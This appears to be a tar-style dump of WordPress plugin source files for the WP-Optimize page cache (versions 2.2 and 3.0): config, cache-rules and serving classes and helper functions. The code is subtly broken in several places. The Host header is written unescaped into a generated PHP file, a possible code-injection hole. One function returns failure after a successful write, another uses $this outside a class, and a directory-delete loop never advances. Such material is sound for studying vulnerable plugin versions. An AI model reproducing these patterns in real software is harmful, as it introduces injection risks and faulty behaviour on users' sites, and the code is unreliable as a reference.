	 * @param  array $config - the cache configuration
	 * @return bool
	 */
	public function update($config) {
		$config = wp_parse_args($config, $this->get_defaults());

		if (is_multisite()) {
			update_site_option('wpo_cache_config', $config);
		} else {
			update_option('wpo_cache_config', $config);
		}

		return $this->write($config);
	}

	/**
	 * Deletes config files and options
	 *
	 * @return bool
	 */
	public function delete() {

		if (is_multisite()) {
			delete_site_option('wpo_cache_config');
		} else {
			delete_option('wpo_cache_config');
		}
		
		if (!WPO_Page_Cache::delete(WPO_CACHE_CONFIG_DIR)) {
			return false;
		}

		return true;
	}

	/**
	 * Writes config to file
	 *
	 * @param  array $config Configuration array.
	 * @return bool
	 */
	private function write($config) {

		$url = parse_url(site_url());

		if ($url['port']) {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].':'.$url['port'].'.php';
		} else {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'.php';
		}

		$this->config = wp_parse_args($config, $this->get_defaults());

		if (!file_put_contents($config_file, json_encode($this->config))) {
			return false;
		}

		return true;
	}

	/**
	 * Return defaults
	 *
	 * @return array
	 */
	public function get_defaults() {

		$defaults = array(
			'enable_page_caching'			=> true,
			'enable_mobile_caching'			=> true,
			'enable_gzip_compression'		=> true,
			'page_cache_length'				=> 86400,
			'cache_exception_urls'			=> array(),
			'enable_url_exemption_regex'	=> false,
		);

		return apply_filters('wpo_cache_defaults', $defaults);
	}

	/**
	 * Return an instance of the current class, create one if it doesn't exist
	 *
	 * @since  1.0
	 * @return SC_Config
	 */
	public static function instance() {

		if (!self::$instance) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
endif;
cms/wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/cache/class-wpo-page-cache.php000644 000000 000000 00000023624 13416124150 032634 0ustar00rootwheel000000 000000 <?php
/**
 * Page caching functionality
 */

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Base cache directory, everything else goes under here
 */
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR).'/wpo-cache');

/**
 * Directory that stores config and related files
 */
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');

/**
 * Directory that stores the cache, including gzipped files and mobile specifc cache
 */
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', WPO_CACHE_DIR.'/cache');


if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once('class-wpo-cache-rules.php');

if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-php-logger.php');

if (!class_exists('WPO_Page_Cache')) :

class WPO_Page_Cache {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Logger for this class
	 *
	 * @var mixed
	 */
	public $logger;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set everything up here
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance();
		$this->rules  = WPO_Cache_Rules::instance();
		$this->logger = new Updraft_PHP_Logger();
	}

	/**
	 * Enables page cache
	 *
	 * @param array $options - options for caching
	 * @return WP_Error|bool - true on success, error otherwise
	 */
	public function enable($options = array()) {

		if (!$this->create_folders()) {
			return new WP_Error("create_folders", "The request to the filesystem to create the cache directories failed");
		}


		if (!$this->write_advanced_cache()) {
			return new WP_Error("write_advanced_cache", "The request to write the advanced-cache.php file failed");
		}

		
		if (!$this->write_wp_config(true)) {
			return new WP_Error("write_wp_config", "Could not toggle the WP_CACHE constant in wp-config.php");
		}

		if (!$this->verify_cache()) {
			return new WP_Error("verify_cache", "Could not verify if cache was enabled");
		}

		$this->config->update($options);

		return true;
	}


	/**
	 * Disables page cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function disable() {
		$ret = true;

		if (!self::delete(untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php')) {
			$this->log("The request to the filesystem to delete the advanced-cache.php failed");
			$ret = false;
		}

		if (!$this->write_wp_config(false)) {
			$this->log("Could not toggle the WP_CACHE constant in wp-config.php");
			$ret = false;
		}

		return $ret;
	}


	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function purge() {

		if (!self::delete(WPO_CACHE_FILES_DIR)) {
			$this->log("The request to the filesystem to delete the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function clean_up() {

		$this->disable();

		if (!self::delete(WPO_CACHE_DIR, true)) {
			$this->log("The request to the filesystem to clean up the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Check if cache is enabled and working
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function is_enabled() {

		if (!defined('WP_CACHE') || !WP_CACHE) {
			return false;
		}

		if (!defined('WPO_ADVANCED_CACHE') || !WPO_ADVANCED_CACHE) {
			return false;
		}

		if (empty($this->config['enable_page_caching'])) {
			return false;
		}

		return true;
	}

	/**
	 * Create the folder structure needed for cache to work
	 *
	 * @return bool - true on success, false otherwise
	 */
	private function create_folders() {

		if (!is_dir(WPO_CACHE_DIR) && !mkdir(WPO_CACHE_DIR)) {
			$this->log('The request to the filesystem failed, unable to create - ' . WPO_CACHE_DIR);
			return false;
		}

		if (!is_dir(WPO_CACHE_CONFIG_DIR) && !mkdir(WPO_CACHE_CONFIG_DIR)) {
			$this->log('The request to the filesystem failed, unable to create - ' . WPO_CACHE_CONFIG_DIR);
			return false;
		}

		if (!is_dir(WPO_CACHE_FILES_DIR) && !mkdir(WPO_CACHE_FILES_DIR)) {
			$this->log('The request to the filesystem failed, unable to create - ' . WPO_CACHE_FILES_DIR);
			return false;
		}

		return true;
	}

	/**
	 * Writes advanced-cache.php
	 *
	 * @return bool
	 */
	private function write_advanced_cache() {

		$file = untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php';
		$contents = '';

		if (!empty($config['enable_page_caching'])) {
			return false;
		}

		$cache_file = untrailingslashit(plugin_dir_path(__FILE__)) . '/file-based-page-cache.php';
		$config_file = WPO_CACHE_CONFIG_DIR . '/config-' . $_SERVER['HTTP_HOST'] . '.php';
		$cache_path = WPO_CACHE_DIR;
		$cache_config_path = WPO_CACHE_CONFIG_DIR;
		$cache_files_path = WPO_CACHE_FILES_DIR;
		
		// CS does not like heredoc
		// @codingStandardsIgnoreStart
		$contents = <<<EOF
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', '$cache_path');
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', '$cache_config_path');
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', '$cache_files_path');

if (is_admin()) { return; }
if (!@file_exists('$config_file')) { return; }

\$GLOBALS['wpo_cache_config'] = json_decode(file_get_contents('$config_file'), true);

if (empty(\$GLOBALS['wpo_cache_config']) || empty(\$GLOBALS['wpo_cache_config']['enable_page_caching'])) { return; }

if (@file_exists('$cache_file')) { include_once('$cache_file'); }

EOF;
		// @codingStandardsIgnoreEnd
		if (!file_put_contents($file, $contents)) {
			return false;
		}

		return true;
	}

	/**
	 * Set WP_CACHE on or off in wp-config.php
	 *
	 * @param  boolean $status value of WP_CACHE.
	 * @return boolean true if the value was set, false otherwise
	 */
	private function write_wp_config($status = true) {

		if (defined('WP_CACHE') && WP_CACHE === $status) {
			return true;
		}

		$config_path = $this->_get_wp_config();

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		$config_file_string = file_get_contents($config_path);

		// Config file is empty. Maybe couldn't read it?
		if (empty($config_file_string)) {
			return false;
		}

		$config_file = preg_split("#(\n|\r)#", $config_file_string);
		$line_key    = false;

		foreach ($config_file as $key => $line) {
			if (!preg_match('/^\s*define\(\s*(\'|")([A-Z_]+)(\'|")(.*)/i', $line, $match)) {
				continue;
			}

			if ('WP_CACHE' === $match[2]) {
				$line_key = $key;
			}
		}

		if (false !== $line_key) {
			unset($config_file[$line_key]);
		}


		if ($status) {
			array_shift($config_file);
			array_unshift($config_file, '<?php', "define('WP_CACHE', true); // WP-Optimize Cache");
		}

		foreach ($config_file as $key => $line) {
			if ('' === $line) {
				unset($config_file[$key]);
			}
		}
		
		if (file_put_contents($config_path, implode("\r\n", $config_file))) {
			return false;
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @return boolean
	 */
	private function verify_cache() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!$this->_get_wp_config() && !is_writable($this->_get_wp_config())) {
			$this->log("Unable to write to or find wp-config.php, please check file/folder permissions");
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!is_writable(untrailingslashit(WP_CONTENT_DIR))) {
			$this->log("Unable to write inside the wp-content folder, please check file/folder permissions");
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable.
		if (file_exists(WPO_CACHE_DIR)) {
			if (!is_writable(WPO_CACHE_DIR)) {
				$this->log("Unable to write inside the cache folder, please check file/folder permissions");
				return false;
			}
		}

		if (file_exists(WPO_CACHE_FILES_DIR)) {
			if (!is_writable(WPO_CACHE_FILES_DIR)) {
				$this->log("Unable to write inside the cache files folder, please check file/folder permissions");
				return false;
			}
		}

		if (file_exists(WPO_CACHE_CONFIG_DIR)) {
			if (!is_writable(WPO_CACHE_CONFIG_DIR)) {
				$this->log("Unable to write inside the cache configuration folder, please check file/folder permissions");
				return false;
			}
		}

		return true;
	}

	/**
	 * Returns the path to wp-config
	 *
	 * @return string wp-config.php path.
	 */
	private function _get_wp_config() {

		$file = '/wp-config.php';
		$config_path = false;

		foreach (get_included_files() as $filename) {
			if (0 === stripos(strrev($filename), strrev($file))) {
				$config_path = $filename;
			}
		}

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		return $config_path;
	}

	/**
	 * Util to delete folders and/or files
	 *
	 * @param string $src
	 * @return boolean
	 */
	public static function delete($src) {

		if (!file_exists($src)) {
			return true;
		}

		if (is_dir($src)) {
			$dir = opendir($src);
			while (false !== ($file = readdir($dir))) {
				if (('.' != $file) && ('..' != $file)) {
					if (is_dir($src . '/' . $file)) {
						self::delete($src . '/' . $file);
					} else {
						unlink($src . '/' . $file);
					}
				}
			}
			closedir($dir);
			rmdir($src);
		} else {
			unlink($src);
		}

		return true;
	}

	/**
	 * Logs error messages
	 *
	 * @param  string $message
	 * @return null|void
	 */
	public function log($message) {
		if (isset($this->logger)) {
			$this->logger->log('ERROR', $message);
		} else {
			error_log($message);
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
cms/wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/cache/class-wpo-cache-rules.php000644 000000 000000 00000006611 13416124150 033047 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Page caching rules and exceptions
 */

if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');

if (!class_exists('WPO_Cache_Rules')) :

class WPO_Cache_Rules {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	/**
	 * Class constructor
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance()->get();
		$this->setup_hooks();
	}

	/**
	 * Setup hooks/filters
	 */
	public function setup_hooks() {
		add_action('pre_post_update', array($this, 'purge_post_on_update'), 10, 1);
		add_action('save_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('wp_trash_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('wp_set_comment_status', array($this, 'purge_post_on_comment_status_change'), 10);
		add_action('set_comment_cookies', array($this, 'set_comment_cookie_exceptions'), 10);
	}

	/**
	 * When user posts a comment, set a cookie so we don't show them page cache
	 *
	 * @param WP_Comment $comment Comment to check.
	 */
	public function set_comment_cookie_exceptions($comment) {
	
		if (empty($this->config['enable_page_caching'])) return;
		
		$path = $this->get_post_path($comment->comment_post_ID);

		$this->purge_from_cache($path);
	}
		
	/**
	 * Purge files for a particular path from the cache
	 *
	 * @param String $path - the path
	 */
	public function purge_from_cache($path) {
		WPO_Page_Cache::delete(untrailingslashit($path) . '/index.html');
		WPO_Page_Cache::delete(untrailingslashit($path) . '/index.gzip.html');

		if (!empty($this->config['enable_mobile_caching'])) {
			WPO_Page_Cache::delete(untrailingslashit($path) . '/mobile.index.html');
			WPO_Page_Cache::delete(untrailingslashit($path) . '/mobile.index.gzip.html');
		}
	}
		

	/**
	 * Get the cache path for a given post
	 *
	 * @param Integer $post_id - WP post ID
	 *
	 * @return String
	 */
	private function get_post_path($post_id) {
		return WPO_CACHE_DIR . preg_replace('#^https?://#i', '', get_permalink($post_id));
	}
	
	/**
	 * Every time a comment's status changes, purge it's parent posts cache
	 *
	 * @param Integer $comment_id Comment ID.
	 */
	public function purge_post_on_comment_status_change($comment_id) {

		if (empty($this->config['enable_page_caching'])) return;
		
		$comment = get_comment($comment_id);

		$path = $this->get_post_path($comment->comment_post_ID);

		$this->purge_from_cache($path);
		
	}

	/**
	 * Automatically purge all file based page cache on post changes
	 * We want the whole cache purged here as different parts
	 * of the site could potentially change on post updates
	 *
	 * @param Integer $post_id WordPress post id
	 */
	public function purge_post_on_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		} elseif (!current_user_can('edit_post', $post_id) && (!defined('DOING_CRON') || !DOING_CRON)) {
			return;
		}

		if (!empty($this->config['enable_page_caching'])) {
			wpo_cache_flush();
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return WPO_Cache_Rules
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
wordpress/wp-optimize-versions/wp-optimize.2.2/wp-optimize/cache/file-based-page-cache-functions.php000644 000000 000000 00000017252 13416124150 034646 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Holds utility functions used by file based cache
 */

/**
 * Cache output before it goes to the browser
 *
 * @param  string $buffer Page HTML.
 * @param  int    $flags  OB flags to be passed through.
 * @return string
 */
function wpo_cache($buffer, $flags) {
	global $post;

	if (strlen($buffer) < 255) {
		return $buffer;
	}

	// Don't cache search, 404, or password protected.
	if (is_404() || is_search() || !empty($post->post_password)) {
		return $buffer;
	}

	// No root cache folder, exit here
	if (!file_exists(WPO_CACHE_DIR)) {
		// Can not cache!
		return $buffer;
	}

	// Try creating a folder for cached files, if it was flushed recently
	if (!file_exists(WPO_CACHE_FILES_DIR)) {
		if (!mkdir(WPO_CACHE_FILES_DIR)) {
			// Can not cache!
			return $buffer;
		}
	}

	$buffer = apply_filters('wpo_pre_cache_buffer', $buffer);

	$url_path = wpo_get_url_path();

	$dirs = explode('/', $url_path);

	$path = WPO_CACHE_FILES_DIR;

	foreach ($dirs as $dir) {
		if (!empty($dir)) {
			$path .= '/' . $dir;

			if (!file_exists($path)) {
				if (!mkdir($path)) {
					// Can not cache!
					return $buffer;
				}
			}
		}
	}

	$modified_time = time(); // Make sure modified time is consistent.

	// Prevent mixed content when there's an http request but the site URL uses https.
	$home_url = get_home_url();
	
	if (!is_ssl() && 'https' === strtolower(parse_url($home_url, PHP_URL_SCHEME))) {
		$https_home_url = $home_url;
		$http_home_url  = str_ireplace('https://', 'http://', $https_home_url);
		$buffer		 = str_replace(esc_url($http_home_url), esc_url($https_home_url), $buffer);
	}

	if (preg_match('#</html>#i', $buffer)) {
		if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
			$buffer .= "\n<!-- Cached by WP Optimize for mobile devices - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
		} else {
			$buffer .= "\n<!-- Cached by WP Optimize - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
		}
	}

	if (!empty($GLOBALS['wpo_cache_config']['enable_gzip_compression']) && function_exists('gzencode')) {
		if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
			file_put_contents($path . '/mobile.index.gzip.html', gzencode($buffer, 3));
			touch($path . '/mobile.index.gzip.html', $modified_time);
		} else {
			file_put_contents($path . '/index.gzip.html', gzencode($buffer, 3));
			touch($path . '/index.gzip.html', $modified_time);
		}
	} else {
		if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
			file_put_contents($path . '/mobile.index.html', $buffer);
			touch($path . '/mobile.index.html', $modified_time);
		} else {
			file_put_contents($path . '/index.html', $buffer);
			touch($path . '/index.html', $modified_time);
		}
	}

	header('Cache-Control: no-cache'); // Check back every time to see if re-download is necessary.
	header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');

	if (function_exists('ob_gzhandler') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
		return ob_gzhandler($buffer, $flags);
	} else {
		return $buffer;
	}
}

/**
 * Serves the cache and exits
 */
function wpo_serve_cache() {
	$file_name = 'index.html';

	if (function_exists('gzencode') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
		$file_name = 'index.gzip.html';
	}

	if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
		$file_name = 'mobile.' . $file_name;
	}

	$path = WPO_CACHE_FILES_DIR . '/' . rtrim(wpo_get_url_path(), '/') . '/' . $file_name;


	$modified_time = file_exists($path) ? (int) filemtime($path) : time();

	header('Cache-Control: no-cache'); // Check back in an hour.

	if (!empty($modified_time) && !empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) === $modified_time) {
		if (function_exists('gzencode') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
			header('Content-Encoding: gzip');
		}

		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		exit;
	}

	if (file_exists($path) && is_readable($path)) {
		if (function_exists('gzencode') && !empty($GLOBALS['wpo_cache_config']['enable_gzip_compression'])) {
			header('Content-Encoding: gzip');
		}

		readfile($path);

		exit;
	}
}

/**
 * Clears the cache
 */
function wpo_cache_flush() {

	$this->wpo_delete_files(WPO_CACHE_FILES_DIR);

	if (function_exists('wp_cache_flush')) {
		wp_cache_flush();
	}
}

/**
 * Get URL path for caching
 *
 * @since  1.0
 * @return string
 */
function wpo_get_url_path() {

	$host = !empty($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';

	return rtrim($host, '/') . $_SERVER['REQUEST_URI'];
}


/**
 * Return true of exception url matches current url
 *
 * @param  string $exception Exceptions to check URL against.
 * @param  bool   $regex	 Whether to check with regex or not.
 * @return bool   true if matched, false otherwise
 */
function wpo_url_exception_match($exception, $regex = false ) {
	if (preg_match('#^[\s]*$#', $exception)) return false;

	$exception = trim($exception);

	if (!preg_match('#^/#', $exception)) {

		$url = rtrim('http' . (isset($_SERVER['HTTPS']) ? 's' : '' ) . '://' . "{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}", '/');

		if ($regex) {
			if (preg_match('#^' . $exception . '$#', $url)) {
				// Exception match!
				return true;
			}
		} elseif (preg_match('#\*$#', $exception)) {
			$filtered_exception = str_replace('*', '', $exception);

			if (preg_match('#^' . $filtered_exception . '#', $url)) {
				// Exception match!
				return true;
			}
		} else {
			$exception = rtrim($exception, '/');

			if (strtolower($exception) === strtolower($url)) {
				// Exception match!
				return true;
			}
		}
	} else {
		$path = $_SERVER['REQUEST_URI'];

		if ($regex) {
			if (preg_match('#^' . $exception . '$#', $path)) {
				// Exception match!
				return true;
			}
		} elseif (preg_match('#\*$#', $exception)) {
			$filtered_exception = preg_replace('#/?\*#', '', $exception);

			if (preg_match('#^' . $filtered_exception . '#i', $path)) {
				// Exception match!
				return true;
			}
		} else {
			if ('/' !== $path) {
				$path = rtrim($path, '/');
			}

			if ('/' !== $exception) {
				$exception = rtrim($exception, '/');
			}

			if (strtolower($exception) === strtolower($path)) {
				// Exception match!
				return true;
			}
		}
	}

	return false;
}

/**
 * Checks if its a mobile device
 *
 * @see https://developer.wordpress.org/reference/functions/wp_is_mobile/
 */
function wpo_is_mobile() {
	if (empty($_SERVER['HTTP_USER_AGENT'])) {
		$is_mobile = false;
	// many mobile devices (all iPhone, iPad, etc.)
	} elseif (false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile')
		|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Android')
		|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/')
		|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle')
		|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry')
		|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini')
		|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi')
	) {
		$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	return $is_mobile;
}

/**
 * Delete function that deals with directories recursively
 *
 * @param string $src path of the folder
 */
function wpo_delete_files($src) {
	if (!file_exists($src)) return;

	if (is_file($src)) unlink($src);

	$dir = opendir($src);
	$file = readdir($dir);

	while (false !== $file) {
		if ('.' != $file && '..' != $file) {
			if (is_dir($src . '/' . $file)) {
				wpo_delete_files($src . '/' . $file);
			} else {
				unlink($src . '/' . $file);
			}
		}
	}

	closedir($dir);
	rmdir($src);
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/000755 000000 000000 00000000000 14214670220 025166 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/000755 000000 000000 00000000000 14214670220 026231 5ustar00rootwheel000000 000000 cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/php-5.3-functions.php000644 000000 000000 00000000575 13614520640 032054 0ustar00rootwheel000000 000000 <?php

/**
 * Get path to wp-config.php when called from WP-CLI.
 *
 * @return string
 */
function wpo_wp_cli_locate_wp_config() {
	$config_path = '';

	if (is_callable('\WP_CLI\Utils\locate_wp_config')) {
		// phpcs:ignore PHPCompatibility.LanguageConstructs.NewLanguageConstructs.t_ns_separatorFound
		$config_path = \WP_CLI\Utils\locate_wp_config();
	}

	return $config_path;
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/file-based-page-cache.php000644 000000 000000 00000011043 13614520640 032712 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * File based page cache drop in
 */
require_once(dirname(__FILE__) . '/file-based-page-cache-functions.php');

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache');

/**
 * Load extensions.
 */
wpo_cache_load_extensions();

/**
 * Action triggered when the cache extensions are all loaded. Allows to execute code depending on an other extension, without knowing the order in which the files are loaded.
 */
if (function_exists('do_action')) {
	do_action('wpo_cache_extensions_loaded');
}

add_filter('wpo_restricted_cache_page_type', 'wpo_restricted_cache_page_type');

$no_cache_because = array();

// check if we want to cache current page.
$restricted_cache_page_type = apply_filters('wpo_restricted_cache_page_type', false);

if ($restricted_cache_page_type) {
	$no_cache_because[] = $restricted_cache_page_type;
}

// Don't cache non-GET requests.
if (!isset($_SERVER['REQUEST_METHOD']) || 'GET' !== $_SERVER['REQUEST_METHOD']) {
	$no_cache_because[] = 'The request method was not GET ('.(isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '-').')';
}

$file_extension = $_SERVER['REQUEST_URI'];
$file_extension = preg_replace('#^(.*?)\?.*$#', '$1', $file_extension);
$file_extension = trim(preg_replace('#^.*\.(.*)$#', '$1', $file_extension));

// Don't cache disallowed extensions. Prevents wp-cron.php, xmlrpc.php, etc.
if (!preg_match('#index\.php$#i', $_SERVER['REQUEST_URI']) && !preg_match('#sitemap([a-zA-Z0-9_-]+)?\.xml$#i', $_SERVER['REQUEST_URI']) && in_array($file_extension, array('php', 'xml', 'xsl'))) {
	$no_cache_because[] = 'The request extension is not suitable for caching';
}

// Don't cache if logged in.
if (!empty($_COOKIE)) {
	$wp_cookies = array('wordpressuser_', 'wordpresspass_', 'wordpress_sec_', 'wordpress_logged_in_');

	if (empty($GLOBALS['wpo_cache_config']['enable_user_caching']) || false == $GLOBALS['wpo_cache_config']['enable_user_caching']) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($wp_cookies as $cookie) {
				if (false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'WordPress login cookies were detected';
					break(2);
				}
			}
		}
	}

	if (!empty($_COOKIE['wpo_commented_posts'])) {
		foreach ($_COOKIE['wpo_commented_posts'] as $path) {
			if (rtrim($path, '/') === rtrim($_SERVER['REQUEST_URI'], '/')) {
				$no_cache_because[] = 'The user has commented on a post (comment cookie set)';
				break;
			}
		}
	}

	// get cookie exceptions from options.
	$cache_exception_cookies = !empty($GLOBALS['wpo_cache_config']['cache_exception_cookies']) ? $GLOBALS['wpo_cache_config']['cache_exception_cookies'] : array();
	// filter cookie exceptions, since WP 4.6
	$cache_exception_cookies = function_exists('apply_filters') ? apply_filters('wpo_cache_exception_cookies', $cache_exception_cookies) : $cache_exception_cookies;

	// check if any cookie exists from exception list.
	if (!empty($cache_exception_cookies)) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($cache_exception_cookies as $cookie) {
				if ('' != trim($cookie) && false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'An excepted cookie was set ('.$key.')';
					break 2;
				}
			}
		}
	}
}

// check in not disabled current user agent
if (!empty($_SERVER['HTTP_USER_AGENT']) && false === wpo_is_accepted_user_agent($_SERVER['HTTP_USER_AGENT'])) {
	$no_cache_because[] = "In the settings, caching is disabled for matches for this request's user agent";
}

// Deal with optional cache exceptions.
if (wpo_url_in_exceptions(wpo_current_url())) {
	$no_cache_because[] = 'In the settings, caching is disabled for matches for the current URL';
}

if (!empty($_GET)) {
	// get variables used for building filename.
	$get_variable_names = wpo_cache_query_variables();

	$get_variables = wpo_cache_maybe_ignore_query_variables(array_keys($_GET));

	// if GET variables include one or more undefined variable names then we don't cache.
	$diff = array_diff($get_variables, $get_variable_names);
	if (!empty($diff)) {
		$no_cache_because[] = "In the settings, caching is disabled for matches for one of the current request's GET parameters";
	}
}

if (!empty($no_cache_because)) {
	// Only output if the user has turned on debugging output
	if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON)) {
		wpo_cache_add_footer_output("Page not served from cache because: ".implode(', ', array_filter($no_cache_because, 'htmlspecialchars')));
	}
	return;
}

wpo_serve_cache();

ob_start('wpo_cache');
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-wpo-cache-config.php000644 000000 000000 00000016134 13637401250 033166 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Handles cache configuration and related I/O
 */

if (!class_exists('WPO_Cache_Config')) :

class WPO_Cache_Config {

	/**
	 * Defaults
	 *
	 * @var array
	 */
	public $defaults;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;


	/**
	 * Set config defaults
	 */
	public function __construct() {
		$this->defaults = $this->get_defaults();
	}

	/**
	 * Get config from file or cache
	 *
	 * @return array
	 */
	public function get() {

		if (is_multisite()) {
			$config = get_site_option('wpo_cache_config', $this->get_defaults());
		} else {
			$config = get_option('wpo_cache_config', $this->get_defaults());
		}

		return wp_parse_args($config, $this->get_defaults());
	}

	/**
	 * Get a specific configuration option
	 *
	 * @param string  $option_key The option identifier
	 * @param boolean $default    Default value if the option doesn't exist (Default to false)
	 * @return mixed
	 */
	public function get_option($option_key, $default = false) {
		$options = $this->get();
		return isset($options[$option_key]) ? $options[$option_key] : $default;
	}

	/**
	 * Updates the given config object in file and DB
	 *
	 * @param array	  $config						- the cache configuration
	 * @param boolean $skip_disk_if_not_yet_present - only write the configuration file to disk if it already exists. This presents PHP notices if the cache has never been on, and settings are saved.
	 *
	 * @return bool
	 */
	public function update($config, $skip_disk_if_not_yet_present = false) {
		$config = wp_parse_args($config, $this->get_defaults());

		$config['page_cache_length_value'] = intval($config['page_cache_length_value']);
		$config['page_cache_length'] = $this->calculate_page_cache_length($config['page_cache_length_value'], $config['page_cache_length_unit']);

		/**
		 * Filters the cookies used to set cache file names
		 *
		 * @param array $cookies - The cookies
		 * @param array $config  - The new config
		 */
		$wpo_cache_cookies = apply_filters('wpo_cache_cookies', array(), $config);
		sort($wpo_cache_cookies);

		/**
		 * Filters the query variables used to set cache file names
		 *
		 * @param array $wpo_query_variables - The variables
		 * @param array $config              - The new config
		 */
		$wpo_query_variables = apply_filters('wpo_cache_query_variables', array(), $config);
		sort($wpo_query_variables);

		$config['wpo_cache_cookies'] = $wpo_cache_cookies;
		$config['wpo_cache_query_variables'] = $wpo_query_variables;
		
		$config = apply_filters('wpo_cache_update_config', $config);

		if (is_multisite()) {
			update_site_option('wpo_cache_config', $config);
		} else {
			update_option('wpo_cache_config', $config);
		}

		do_action('wpo_cache_config_updated', $config);

